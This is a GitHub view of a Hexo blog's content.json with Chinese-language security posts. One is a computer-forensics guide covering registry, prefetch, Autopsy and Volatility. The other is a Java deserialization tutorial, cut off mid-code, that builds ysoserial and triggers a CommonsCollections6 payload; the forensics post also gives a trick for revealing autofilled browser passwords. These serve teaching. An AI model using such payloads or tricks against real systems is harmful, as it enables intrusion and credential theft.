-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathcontent.json
1 lines (1 loc) · 127 KB
/
content.json
1
{"meta":{"title":"GhostToKnow","subtitle":"","description":"","author":"GhostToKnow","url":"http://example.com","root":"/"},"pages":[],"posts":[{"title":"数字取证-计算机取证篇","slug":"数字取证-计算机取证篇","date":"2023-05-27T15:55:03.000Z","updated":"2023-06-03T10:00:39.223Z","comments":true,"path":"2023/05/27/数字取证-计算机取证篇/","link":"","permalink":"http://example.com/2023/05/27/%E6%95%B0%E5%AD%97%E5%8F%96%E8%AF%81-%E8%AE%A1%E7%AE%97%E6%9C%BA%E5%8F%96%E8%AF%81%E7%AF%87/","excerpt":"","text":"计算机取证篇数字取证数字取证学描述了电子证据的收集、分析和报告。它涵盖了整个过程:从识别数字证据的那一刻起,到完成分析并呈现于法庭诉讼时。因为几乎每个犯罪者都会留下他们活动和意图的“数字签名”,而这些“数字签名”将作为有效的诉讼证据提供给法庭,以便将犯罪嫌疑人绳之以法。 数字取证这项技能应用非常广泛,适用于执法、企业调查、网络入侵、恶意软件分析和事件响应等等。 NIST建议数字取证调查的七个步骤,细分为两个较大的阶段:收集和解释。该过程从收集潜在证据开始,收集阶段包括以下步骤:1.保护2.获取3.保全。第二阶段解释,包括这些步骤:4.恢复5.导航6.识别/提取7.分析。 计算机取证取证分析原则 取证前务必要对证据所在载体进行备份并计算哈希(MD5,SHA)留作完整性校验时使用,同时,备份方式要采用位级别的备份而不是文件级备份。 取证过程全部是对备份数据的提取和分析,原始数据要保留下来为以后提供完整性证明。 要保证所采取的取证手段不破坏被取证对象。 对已获的数据做详细记录并存档核查。 取证人员应该保护证据的保密性,避免未经授权的访问和披露。 取证基础硬盘克隆定义:从硬盘克隆到硬盘。 逐磁道,逐扇区。物理级的数据精确复制。能获取所有文件,且包括所有的已被删除或隐藏的文件,未分配区域,磁盘闲散空间等。 意义: 保存原始证据; 制作检验用的精确拷贝; 镜像数据法律上与原始证据等同; 检验可在备份数据上进行,降低了在原证据盘上检验带来的风险; 数据镜像产生的数字指纹(HASH),可对原证据盘进行检验前后数据是否发生变化进行对比,有利于法庭质证。 硬盘镜像定义:从硬盘克隆到文件。 常见的镜像格式有DD,E01,AFF,BIN,ISO等。 镜像文件包含所有文件,包括所有的已被删除或隐藏的文件,未分配区域,磁盘闲散空间等。 镜像类型DD镜像(*.001) DD镜像使用的最广泛,因为兼容性很强,几乎所有的取证工具都支持DD镜像,没有压缩制作起来速度快。 问题:容量大。 原1T内存使用了100G做出来的镜像大小为1T。 e01镜像(*.e01) 可以进行压缩片段的功能,对每一个片段在需要时进行解压或单独调用,兼顾了速度和完整性,节省空间。在生成 E01 格式证据文件时,会要求用户输入与调查案件相关的信息,如调查人员、地点、机构、备注等元数据。这些元数据将随证据数据信息一同 存入 E01 文件中。文件的每个字节都经过 32 位的 CRC 校验,这就使得证据被篡改的可能性几乎为 0。 问题:计算Hash值需专业工具。 原1T内存使用了100G做出来的镜像大小大概是100G。 数据擦除-BMBBMB国家保密局21-2007标准,对硬盘做六次擦除。 1.零覆盖硬盘所有可以寻址的位置; 2.用二进制0x01覆盖硬盘所有可以寻址的位置; 3.随机数覆盖硬盘所有可以寻址的位置; 4.随机数覆盖硬盘所有可以寻址的位置; 5.随机数覆盖硬盘所有可以寻址的位置; 6.用零覆盖硬盘所有可以寻址的位置; 注意:要做硬盘克隆的时候用旧盘的情况,需要进行整体数据擦除。 哈希(HASH)Hash算法又称Hash函数,把任意长度的输入通过散列算法变换成固定长度的输出,一般用来校验数据完整性。 Hash种类: MD5 SHA-1 SHA-256 SHA-512 … Hash特性: 两个内容完全一致的文件其HASH值相同; 两个同名文件内容稍有差异HASH值不同; 具有不可逆性,不能通过HASH值恢复源文件内容; HASH应用:电子签名,数据安全,文件一致性检验等; 常见文件系统Windows文件系统:FAT12/16、FAT32、exFAT、NTFS FAT32: 32位文件分配表; 簇大小=512B-32KB 分区最大2TB(理论上) 单个文件4GB 无安全机制:任何人可以访问任何文件(无EFS加密)。 exFAT: 一般适用于闪存的文件系统(U盘)就是为了解决FAT32的一些缺点出来的,支持大于4GB的文件 。 NTFS: 64位文件分配表(更快的读、写、搜) 有安全机制:文件的访问有限制(EFS) 分区支持最大2TB 主文件表(MFT)是这个卷上每一个文件的索引 时区和时间戳时区指的是地球上不同的区域,根据经度的分别,将其划分成不同的时间段,并约定使用相同的时间标准。通常情况下,每个时区都以全球协调时间(UTC)为基础,在此基础上加上或减去一定的小时数来表示该时区的本地时间。世界各国通过协商认定了24个时区,并规定每个时区的时间偏移量。 当然,计算机也有自己记录时间的方式,有些内部时间会采用Unix时间戳进行记录。Unix时间戳是一个整数值,表示自1970年1月1日00:00:00 UTC以来的毫秒数,需要注意的是,大多数Unix系统的时间戳功能仅精确到最接近的秒。 在数字取证中,时间戳通常是电子证据的重要组成部分之一。时间戳记录了特定事件发生的确切日期和时间,并且可能包含有关系统时钟和时区设置的信息。因此,取证调查员必须了解所涉及的所有设备和服务器的时区,并相应地调整其分析,以便准确地确定事件发生的时间和顺序。如果一项调查涉及到跨越多个时区的人员或设备,则调查员必须能够根据每个时区的时间戳协调分析,并考虑如何补偿时间差异。 因为它们可以影响到电子证据的准确性和可靠性。了解这些概念并正确地应用它们对于成功的数字取证非常关键。 注册表对于取证调查员来说,注册表可以被当作是一个信息宝库。因为在Windows操作系统中,几乎所有的软件安装和卸载、硬件驱动程序安装和卸载以及系统参数设置都会被记录到注册表中。因此,注册表可以提供大量有用的信息,帮助取证调查员了解计算机系统的历史状态及其相关活动。 通过分析注册表可以找到的信息包括: 安装的软件、应用程序及其版本信息; 用户登录信息,包括用户名和密码的哈希值; 访问过的网站和文件路径; 硬件设备的配置信息; 系统启动项、服务以及自动运行的程序; 用户和他们最后一次使用系统的时间; 系统连接过的Wi-Fi; 列出在系统上进行的所有搜索; 等等……. 这些信息对于取证调查员来说非常有价值,可以帮助他们了解计算机系统的使用情况,发现可能的恶意活动,辅助判断犯罪嫌疑人的行为等。但需要注意的是,在进行注册表取证时需要谨慎操作,避免对系统造成不必要的损害或者误删除重要信息。 注册表信息win+R输入regedit 打开注册表。 在注册表中,有根文件夹。这些根文件夹称为 hives。有5个注册表配置单元。 HKEY_USERS: 包含所有加载的用户配置文件 HKEYCURRENT_USER: 当前登录用户的个人资料 HKEYCLASSES_ROOT: 用于打开文件的应用程序的配置信息 HKEYCURRENT_CONFIG: 系统启动时的硬件配置文件 HKEYLOCAL_MACHINE: 配置信息,包括硬件和软件设置 在物理层面,每个注册表配置单元(Hive)文件,系统都有相应的支持文件和备份,以便在系统启动失败时替代当前使用的注册表配置单元文件包含信息。 Win95/98 USER.DAT,SYSTEM.DAT WinNT/2000/XP/7/8/10 %SystemRoot%\\System32\\Config目录下 SAM - 安全账户管理 SECURITY - 安全性设置信息 SYSTEM - 硬件和系统信息 SOFTWARE - 安装软件信息 DEFAULT - 用户的配置信息 系统信息\\HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion 用户信息\\HKEY_USERS\\ 拥有管理员权限的id用户id最后为500。 USB使用记录USB使用记录一般在泄密类案件用到的比较多。某公司重要文件泄密,这时要检查是否违规外接了USB设备,这时候就可以查看注册表里的USB使用记录来查看是否外接了U盘或外设。记录里是可以看到连接的型号,序列化,名称。 表项 System Software(Vista/Win7) Ntuser.dat 键值 SYSTEM\\CurrentControlSet\\Enum\\USBSTOR SYSTEM\\CurrentControlSet\\Enum\\USB SYSTEM\\MountedDevices NTUSER.dat\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\MountPoints2 HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Enum\\USBSTOR 这里可以查找到任何曾经连接到系统的USB存储设备的相关信息。展开USBSTOR以查看曾经连接到此系统的每个USB存储设备的列表。 它会在右侧窗口中显示全局唯一标识符 (GUID)、名称和硬件 ID 等。这可能正是我们需要的证据。 无线信息HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\NetworkList\\Profiles 许多黑客会破解别人的WIFI,并利用它进行入侵。通过这种方式,如果IP地址被跟踪,它将追溯到邻居的或其他无线AP,而不是他们自己。 在这里将找到计算机已连接过的无线接入点的 GUID 列表。当单击其中一个时,它会显示信息,包括 SSID 名称和最后一次连接的十六进制日期。 近期的文档键HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RecentDocs 作为一名取证调查员,我们可以利用Windows注册表中记录的大量用户活动信息来追踪用户或攻击者的行为轨迹。虽然这些注册表键的设计初衷是为了提高Windows的效率和稳定性,但对于我们来说,它们就像是一张用户或攻击者活动的路线图,为我们提供了重要的取证线索。 其中一个键是“RecentDocs”键。它通过文件扩展名跟踪系统上使用或打开的最新文档。 例如通过查找.pdf扩展名键,我们可以找到最近打开的PDF文件列表。 当我们单击其中一个键时,可以查看该文档的信息,包括十六进制和ASCII格式的文档数据。 在本例中,它表明该文档是hack.pdf。 最后一个urlHKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\TypedURLs 当用户在使用 Internet Explorer 访问网页时,该网页的 URL 地址会被存储在 Windows 注册表中。通过查看注册表中的相应键值,可以追踪用户最近访问的网页,这有助于揭示恶意软件的来源或者用户搜索的内容,推测嫌疑人的行为和意图。 IP地址HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces Windows 注册表不仅可以记录用户访问过的网页,还可以跟踪用户接口的 IP 地址。在注册表中,每个接口都有相应的键值,它们包含了该接口的 IP 地址、子网掩码和 DHCP 服务器租用 IP 的时间等信息。 通过查看这些键值,我们可以确定嫌疑人在入侵或犯罪时使用了哪个特定的 IP 地址。 系统启动项在计算机取证调查中,我们需要经常查找系统启动时设置启动的应用程序或服务。恶意软件通常会将自己设置为每次系统重启时启动,以便攻击者能够保持对系统的控制。这些启动项的信息可以在 Windows 注册表的多个位置中找到,但我们通常只需要查看一些最常用的设置键即可。 HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run 任何被指定在这些子键中的软件,都会在系统启动时被自动运行。这里也可能存在rootkit以及其他恶意软件,它们同样会在每次系统启动后进行自启动。 启动时运行一次 HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce 自启动服务 HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services 上面的子键列出了所有在系统启动时自动启动的服务。当键值设置为2时,服务将会自动启动;当键值设置为3时,必须手动启动服务;当键值设置为4时,该服务会被禁用。 特定用户登录时启动 HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run 硬件设备如果嫌疑人使用CD-ROM、DVD、硬盘驱动器或闪存驱动器等必须挂载的硬件设备来读取或写入数据,注册表将会记录挂载的设备信息。这些信息存储在: HKEY_LOCAL_MACHINE\\System\\MountedDevices 如下图所示,当点击这个键时,它会提供一个包含曾经安装在该机器上的每个设备的详细列表。 如果需要获取任何已安装设备的更多信息,只需点击即可。如果系统上缺少这块设备,那么取证调查员就可以知道需要找到这块硬件才能找到进一步的犯罪证据。 最近一次正常关机时间\\HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Windows\\ShutdownTime 需要时间转换工具转换成北京时间。 Windows 预读取文件的痕迹预读取系统介绍微软实施预读取系统的目的不是为了取证分析,而是为了提高Windows的性能。预读取系统正如其名称所述,它会预先读取系统预计用户将需要的文件,并将它们加载到内存中,从而使文件获取更快,更有效。这是一种人工智能,它试图预测用户接下来需要什么,并为用户做好准备。 Windows预读取系统的奇妙之处在于,即使用户极其聪明,试图掩盖自己的踪迹,它仍能透露出用户正在做什么的大量信息。自Windows XP以来,预读就一直是Windows操作系统的一部分,在Windows 10中默认启用预读。 这些预取文件包含关于所用文件的元数据,例如应用程序的最后使用日期、应用程序文件的存储位置、应用程序的使用次数等等。这些信息对取证调查是非常有用的,它们可能成为证明嫌疑人确实使用与犯罪有关的应用程序的关键信息,即使这些应用程序已从系统中删除。 预读取文件位置与分析可以在C:\\windows\\prefetch下找到预取文件 这些以 .pf 结尾的就是需要关注的文件。 我们需要对文件进行解析,以获取它所包含的所有信息。有许多程序可以完成这项工作,而且它们都非常出色,但是Nirsoft的免费WinPrefetchView是我个人认为最为方便易用的选择。 它将抓取所有预取文件并如下解析文件。 以BAIDUNETDISK.EXE为例,我们可以看到其文件路径、运行次数以及最后一次运行的时间等信息,这些都可能成为取证调查的关键信息。下方窗格,其中列出了程序所使用的每个文件以及它们的路径。 浏览器取证嫌疑人使用的网络浏览器可以为我们提供大量关于在被捕获前其在线做过的活动信息。 以Mozilla Firefox为例,对于 Mozilla Firefox 及其许多变体,大部分信息都存储在 SQLite 数据库中。我们可以根据操作系统在不同的位置找到这些数据库。 C:\\Users\\<user>\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\eyksgzjn.default-release 这里使用Navicat打开展示一下,可以在 moz_places 表中查看用户在浏览器中输入的内容。 Windows计算机取证Windows现场取证流程 去现场勘察之前要准备好案件同步,物证,取证工具,现场取证的U盘硬盘,录像机,物证袋,封条等等。 收集相关的物证比如电脑,手机,外设(光盘,硬盘,U盘,数据连接线),设备等。 如果计算机在开机状态要准备好在线取证,对于在计算机上正在运行的重要数据,重要程序,执行的指令等进行固定。 如果计算机在关机状态就要使用到离线启动的方式,因为正常取证流程是不应该对它进行开机的,要使用引导启动。(比如取证U盘插入后使用U盘里的系统引导着启动),如果开启了固件加密,那么只能启动本身的系统,无法引导启动。 计算机存储介质的封存方法windows的设备有主机,一体机,笔记本,平板,手机等。 笔记本电脑将笔记本电脑闭合,使用封条封住笔记本电脑的开合口,数据接口和硬盘拆卸口,使之在拆封前无法打开电源,无法使用任何数据接口,无法拆卸硬盘。 台式机记录台式电脑所有外设的接口位置,然后拔出,使用封条封住电脑的数据接口,电源接口和侧面版接缝,使之在拆封前无法通电,无法使用任何数据接口,无法拆卸硬盘。封好后贴上标签 -> 属于谁,封存的时间,运行状况。 其他存储介质的封存方法硬盘,U盘:直接用物证袋进行封存,使之在拆封前无法使用。封好后贴上标签 -> 编号,名称,提取时间,签名,备注。 Windows开机状态处理方法 首先查看下电脑里面正在运行的程序,重点查看加密文件,加密容器,运行的聊天软件,登录的网站后台等重要程序,查找涉案关键性数据,文件内容可能为加密容器的解密密钥。同时要查看下计算机是否有远程,远程分为主控方和被控方,如果计算机是主控方要及时的进行远程数据固定,如果是被控方要先保证好网络环境避免被他人远程破坏。 要优先固定易失数据,比如电脑正在运行的网站后台,远程连接,正在运行的程序等,及时制作内存镜像。 网页现场紧急固定首先看一下网页设置里是否关闭了关闭窗口时清除数据,如果设置了要及时把这个取消。 录屏:注意不要存储在涉案计算机,可以借用摄像机,执法记录仪,手机等工具,要进行时间校准。 网站账号密码固定:注意电脑桌面的便签,记事本,有道笔记等应用。 厂商网站固定工具截长图:如果有长截图工具可以利用长截图工具。 网站密码获取 有些浏览器有记录密码自动填写功能,要获取明文需要浏览器密码进行获取,如果不知道浏览器密码可以前往目标网站进行自动填写,然后修改网页源代码密码这一栏中type属性password修改为text再回车,就可以显示明文密码。 通联工具现场紧急固定qq,微信,境外软件等查看里里面有没有跟上下级进行联系或者有没有重要数据,浏览完后进行固定。 可以使用软件自带的记录备份与恢复功能,然后需要进行录屏或者截图备份。 远程运维管理工具勘查向日葵 手机号登录的可以在软件中点击升级跳到浏览器界面后可以查看完整的手机号。 微信登录的需要在向日葵的日志文件中搜索account0就可以看到登录微信号所绑定的手机号。 远程运维管理工具日志勘查向日葵 一般对于文件名有shell和service这两类文件进行重点排查,里面一般有被控制或者控制端的ip地址(sunlogin_service.时间-数字.log)。 搜索关键字 P2Phelper: 被控制端IP地址; P2PStream: 控制端IP地址(公网IP); P2Phelper和P2PStream只对主控机有效; P2PAccepter和service只对被控机有效; udpwrapper和udp对双端都有效; 虚拟币钱包识别及固定注意电脑中涉及的虚拟币交易程序和地址,交易程序目前以手机居多,计算机多以web方式,这块要注意查看浏览器浏览记录,同时要注意虚拟币地址,如:1QasfaWSXA5SdlS7SDSFhjxcewCFHN5Uz3。 助记词:用来进行虚拟钱包如果密码忘记时一个密码登录的方式,一般是英文单词有12个,如果嫌疑人持有的设备上有见到类似与12个英文单词时注意下可能是虚拟钱包的助记词。 计算机快速访问记录快速访问中的数据(常用文件/夹),文档中的最近打开记录,百度网盘应用程序,浏览器最近访问的历史记录等。 固定关键涉案证据时,建议记录操作,将涉案文档进行压缩操作并且进行hash校验操作,并记录在勘查笔录中。 计算机中的其他数据(手机外围)手机备份电脑上也可能存在。 iOS设备的iTunes备份 C:\\Users\\XXX\\AppData\\Roaming\\Apple Computer\\MobileSync\\Backup\\ iOS设备的lockdown文件 C:\\ProgramData\\Apple\\Lockdown\\ 华为助手备份文件 C:\\Users\\Administrator\\Documents\\HiSuite\\backup 各类安卓手机备份文件 安卓模拟器 注意 对所有的操作进行记录和校验。 录像和截图不要存储在涉案计算机上。 磁盘映像取证Autopsy是一款功能强大且易于使用的数字取证工具,它具有用户友好的界面和强大的功能,提供在磁盘映像中进行字符串提取,恢复文件,时间轴分析,chrome,firefox等浏览历史分析,关键字搜索和邮件分析等功能。 ,可以帮助取证人员快速而准确地分析和提取证据。 下面进行一次实验,演示基础使用。 配置Autopsy选择Nev Case,开启一个新的环境。 要求为新案例命名以及要放置案例的目录。 填入一些信息,比如相应的编号,名称,手机号,描述等,然后点击Finish。 等待索引完成此映像像以进行分析。 关键字搜索可以在右上角的搜索窗口输入关键词进行查询,这时候Autopsy 将开始在每个文件中搜索该关键字。在实际调查中,这个关键词是特定于调查的。 专门的搜索类型点击屏幕右上角附近的“眼睛”图标,它会打开一个下拉窗口。在这里我们可以进行非常专业的类型搜索,这可能是我们调查的关键。 电话号码,IP地址,电子邮件地址,URL,信用卡号码 例如想要在这些文件中找到一些网站,也许能帮助我们确定在系统被查封之前嫌疑人在做什么。 在下拉窗口中单击url旁边的复选框。它将填充用于查找URL的正则表达式。 点击“搜索”按钮后,Autopsy将会开始在每个文件中寻找所指定的文本模式。 除此之外,我们还可以创建自定义的正则表达式,以搜索任何我们想寻找的文本模式。这一功能可以帮助我们更有效地搜索目标,提高数字取证的效率。 恢复已”删除”的文件在数字取证研究人员的基本技能中,恢复被删除的文件或许是其中最基本的。正如你所了解的,大多数情况下,系统只是删除了文件的位置信息或将其标记为已删除,而实际上这些“已删除”的文件仍然保留在存储介质中,直到被覆盖为止。这意味着,如果嫌疑人删除了证据文件,只要我们在文件系统覆盖之前采取行动,我们仍然可以将这些文件恢复出来。 在对象资源管理器中,可以看到一个名为“已删除文件”的文件类型。它会显示所有被删除的文件。 当点击一个已删除的文件时,可以在右下角的窗口中进行一些分析。在那里,会看到标签名为 Hex、字符串、文件元数据、结果和索引文本的选项。单击“文件元数据”选项卡,它将显示文件的元数据,包括名称、类型、大小、修改、访问和创建等信息。 要恢复已删除的文件,右键单击已删除的文件并选择“extract file”提取出该文件。 嫌疑犯经常试图通过删除关键证据文件来掩盖他们的踪迹。作为一名取证研究员,我们知道在这些文件被文件系统覆盖之前它们是可以恢复的。使用像Autopsy和几乎所有其他取证套件(case, ProDiscover, FTK, Oxygen等)这样的工具,恢复这些被删除的文件非常简单。 内存映像取证内存取证是对传统基于磁盘取证的重要补充同时也是计算机取证调查中的重要手段之一,它可以帮助我们获取易失性内存中的有价值数据,如临时缓存(文字,图片,聊天记录,电子邮件)、解密密钥(如Bitlocker,TrueCrypt,PGP等全盘加密的解密密钥)等,并深入了解受损系统的状态,以及对手可能如何攻击系统。 需要注意的是,内存是易失性的,一旦电脑关闭,RAM 中的信息都可能丢失,因此必须在关闭系统之前捕获。同时,当涉及恶意软件攻击时,易失性内存有时是调查此类攻击的唯一来源,因为大多数恶意软件只是驻留在内存中的。这意味着对非易失性证据的分析根本不会为我们提供关于恶意软件存在的令人信服的线索。因此,内存取证在计算机取证调查中具有不可替代的重要性。 内存镜像获取Windows系统镜像获取基于用户登录状态下的内存获取方法在Windows系统处于开机,并且用户已经登录的状态时,可以通过制作内存镜像的软件来获取内存镜像,即使不是管理员用户权限,也可以对内存中的镜像进行获取。比较常用的工具有AccessData FTK lmager、Dumplt和Magnet RAM Capture等。 下面使用AccessData FTK lmager获取镜像。 单击“File”下拉菜单并点击“Capture Memory…”获取内存选项。 创建一个名为“memory”的目录,命名为 memdump.mem 文件,包含页面文件,但没有创建 AD1 文件。 当完成了这些,点击“Capture Memory”按钮。 基于系统休眠文件的获取方法当Windows系统进入休眠模式,Windows系统会自动将内存中的全部数据转存至硬盘的一个休眠文件中。(Hiberfil.sys),该文件默认生成在系统盘的根目录,当数据转存完毕后,停止对硬件供电。 当恢复到正常状态后,系统会从硬盘中将之前存入的休眠文件中的信息读入内存中。当系统进入休眠模式时很省电,但是进入休眠模式的前提是需要电脑的硬盘剩余的容量大于计算机的内存大小即可实现。而获得了休眠文件,即相当于获得了系统休眠前时刻的内存文件。 Linux和Mac OS系统镜像获取在Linux和Mac OS系统中,获取内存镜像可以通过以下方式获取。 LiME(Linux Memory Extractor)工具可以获取Linux系统内存镜像; Mac Memory Reader工具可以获取Mac OS系统内存镜像。Hibernation File工具; 也可以通过提取休眠文件来获取内存镜像,休眠文件包含了系统的内存镜像。 在Linux系统中,休眠文件通常位于“/var/lib/systemd/hibernate/”和“/var/lib/systemd/sleep/”目录下; 在Mac OS系统中,休眠文件通常位于“/private/var/vm/”目录下,通常以sleepimage开头; 还有一种方法是通过/dev/mem获取。 /dev/mem是操作系统提供的一个对物理内存的映射。“/dev/mem”是linux系统的一个虚拟字符设备,无论是标准linux系统还是嵌入式linux系统,都支持该设备。首先使用open函数打开/dev/mem设备,然后使用mmap映射到用户空间实现应用程序对内存信息的读取。 Volatility内存分析工具在内存分析中,使用最广泛的工具是名为Volatility的开源工具。可以从www.volatilityfoundation.org下载Volatility。它有Window、Linux 和 Mac OS X的版本。 下面我将展示Volatility 3版本基础使用,2版本请看我之前写的文章,个人感觉可以2和3版本一起用,在一些情况下vol 2比较方便。 命令格式:volatility -f [image] [plugin] 相较于volatility 2版本使用方法是差不多的,但volatility 3版本不需要指定profile,只是插件调用方式改变,插件对应了操作系统。 python3 vol.py -h 查看帮助,这将显示出命令选项列表和插件。 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051常用插件: layerwriter:列出内存镜像platform信息 linux.bash:从内存中恢复bash命令历史记录 linux.check_afinfo:验证网络协议的操作功能指针 linux.check_syscall:检查系统调用表中的挂钩 linux.elfs:列出所有进程的所有内存映射ELF文件 linux.lsmod:列出加载的内核模块 linux.lsof:列出所有进程的所有内存映射 linux.malfind:列出可能包含注入代码的进程内存范围 linux.proc:列出所有进程的所有内存映射 linux.pslist:列出linux内存映像中存在的进程 linux.pstree:列出进程树 mac.bash:从内存中恢复bash命令历史记录 mac.check_syscall:检查系统调用表中的挂钩 mac.check_sysctl:检查sysctl处理程序的挂钩 mac.check_trap_table:检查trap表中的挂钩 mac.ifconfig:列出网卡信息 mac.lsmod:列出加载的内核模块 mac.lsof:列出所有进程的所有内存映射 mac.malfind:列出可能包含注入代码的进程内存范围 mac.netstat:列出所有进程的所有网络连接 mac.psaux:恢复程序命令行参数 mac.pslist:列出linux内存映像中存在的进程 mac.pstree:列出进程树 mac.tasks:列出Mac内存映像中存在的进程 windows.info:显示正在分析的内存样本的OS和内核详细信息 windows.callbacks:列出内核回调和通知例程 windows.cmdline:列出进程命令行参数 windows.dlldump:将进程内存范围DLL转储 windows.dlllist:列出Windows内存映像中已加载的dll模块 windows.driverirp:在Windows内存映像中列出驱动程序的IRP windows.driverscan:扫描Windows内存映像中存在的驱动程序 windows.filescan:扫描Windows内存映像中存在的文件对象 windows.handles:列出进程打开的句柄 windows.malfind:列出可能包含注入代码的进程内存范围 windows.moddump:转储内核模块 windows.modscan:扫描Windows内存映像中存在的模块 windows.mutantscan:扫描Windows内存映像中存在的互斥锁 windows.pslist:列出Windows内存映像中存在的进程 windows.psscan:扫描Windows内存映像中存在的进程 windows.pstree:列出进程树 windows.procdump:转储处理可执行映像 windows.registry.certificates:列出注册表中存储的证书 windows.registry.hivelist:列出内存映像中存在的注册表配置单元 windows.registry.hivescan:扫描Windows内存映像中存在的注册表配置单元 windows.registry.printkey:在配置单元或特定键值下列出注册表项 windows.registry.userassist:打印用户助手注册表项和信息 windows.ssdt:列出系统调用表 windows.strings:读取字符串命令的输出,并指示每个字符串属于哪个进程 windows.svcscan:扫描Windows服务 windows.symlinkscan:扫描Windows内存映像中存在的链接 实操系统基本信息python3 vol.py -f memdump.mem windows.info 通过SystemTime可以看到镜像制作的时间。 获取进程列表python3 vol.py -f memdump.mem windows.pstree.PsTree 使用windows.pstree.PsTree可以查看所有进程和依赖关系,通过寻找PPID大于PID的进程和查看进程依赖寻找可疑的进程。 获取正在运行的DLLpython3 vol.py -f memdump.mem windows.dlllist.DllList Volatility 解析出所有正在运行的 DLL 的列表。 获取事件的时间轴python3 vol.py -f memdump.mem timeliner.Timeliner 一般来说,为了证明嫌疑人是否真正实施了他们被指控的行为,我们可能需要知道该系统上已发生事件的时间表。 可以使用下面的时间轴插件从内存镜像中检索出时间线信息。 寻找恶意软件python3 vol.py -f memdump.mem windows.malfind.Malfind 主要用处是列出可能包含注入代码的进程内存范围,更好得让我们寻找在可疑系统内存中运行的任何恶意软件。 结尾本博客的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。 这是计算机篇,至于还有没有下一篇就不确定了x)。 参考: https://mp.weixin.qq.com/s/yt2xYRu6ZqYTGVekxPdnYA https://blue.y1ng.org/ https://www.cnblogs.com/zlgxzswjy/p/5211613.html","categories":[{"name":"取证","slug":"取证","permalink":"http://example.com/categories/%E5%8F%96%E8%AF%81/"}],"tags":[{"name":"计算机取证","slug":"计算机取证","permalink":"http://example.com/tags/%E8%AE%A1%E7%AE%97%E6%9C%BA%E5%8F%96%E8%AF%81/"}]},{"title":"java安全 反序列化(二)","slug":"java安全-反序列化-二","date":"2023-04-05T05:57:25.000Z","updated":"2023-04-05T06:13:42.305Z","comments":true,"path":"2023/04/05/java安全-反序列化-二/","link":"","permalink":"http://example.com/2023/04/05/java%E5%AE%89%E5%85%A8-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-%E4%BA%8C/","excerpt":"","text":"\u001b[200~# java安全 反序列化(二) 寻找反序列化链(Gadget) 在项目里找漏洞 readObject里的漏洞一般比较少 寻找项目的依赖库类中的Gadget 一些依赖也会有反序列化的操作,如果jar包中的某些类在进行反序列化时有可控的点,就可以利用jar包中存在的漏洞来构造调用链 ysoserial工具ysoserial工具可以帮助我们在依赖库里面找到利用链。 1git clone https://github.com/frohoff/ysoserial.git 进入ysoserial目录,编译jar包 1mvn clean package -DskipTests 出现BUILD SUCCESS表示编译成功,在target文件夹下 注意:要使用java 1.7+ 的jdk环境 最经典的反序列化利用链Apache Commons Collections.jar中的一条pop链,这个类库使用广泛,所以很多大型的应用也存在着这个漏洞。 Commons Collections 在3.x < 3.2.2 以及4.0这些版本范围里,存在反序列化漏洞 当目标Java应用依赖库里包含存在漏洞的Commons Collections库,且对由攻击者可控的数据进行反序列化时,即会造成任意代码执行。 我们以ysoserial里CommonsCollections6这个payload为例,进行分析。 先使用ysoserial生成反序列化的payload 使用maven导入commons-collections依赖 pom.xml 12345<dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version></dependency> 在创建测试代码 TestCC6 12345678910111213import java.io.FileInputStream;import java.io.FileNotFoundException;import java.io.IOException;import java.io.ObjectInputStream;import java.lang.reflect.InvocationTargetException;public class TestCC6 { public static void main(String[] args) throws IOException, ClassNotFoundException{ ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc6.ser")); objectInputStream.readObject(); objectInputStream.close(); }} 把生成的cc6.ser放在项目根目录下执行代码,弹出计算机 运行环境为java11 要解析cc6链的结构代码要先学习下java反射相关,我们可以在很多java漏洞的POC中看到反射的利用,所以学习java安全是绕不开反射的。 java反射Java反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意方法和属性(包括私有的方法和属性);这种动态获取信息以及动态调用对象方法的功能称为java语言的反射机制。 涉及到java中的几个类: 1234567Class类 代表类的实体,在运行的java应用程序中表示类和接口Field类:代表类的成员变量(成员变量也称为类的属性)Method类:代表类的方法Constructor类:代表类的构造方法 在Java中你看到的绝大部分成员,其实都可以称之为对象(除了普通数据类型和静态成员)。 类也是对象,类是java.lang.Class类的实例对象 Class类抽象出了java中类的特征并提供了一些方法 有三种方式获得Class类实例: 123456781.如果知道class的完整类名,可以调用Class类的静态方法Class.forName获取Class clz = Class.forName("com.GhostToKnow.User");2.任何一个类都有一个隐含的静态成员class,这个属性就存储着这个类对应的Class类的实例:Class clz = com.GhostToKnow.User.class;3.调用这个对象的getClass()方法:Class clz = (new User()).getClass(); 测试获取,调用方法User 12345public class User { public void test(String name){ System.out.println("Hello:"+name); } } 获取方法:我们之前已经提到了Method这个类,java中所有的方法都是Method类型,所以我们通过反射机制获取到某个对象的方法也是Method类型的。通过Class对象获取某个方法: 方法的名称和方法的参数列表,两者信息才能确定某一个方法 1clz.getMethod(方法名,这个方法的参数类型) 调用方法:Method类中有一个invoke方法,就是用来调用特定方法的,用法如下: 1public Object invoke(Object obj, Object... args) 第一个参数是调用该方法的对象,第二个参数是一个可变长参数,是这个方法的需要传入的参数 testUser 123456789101112import 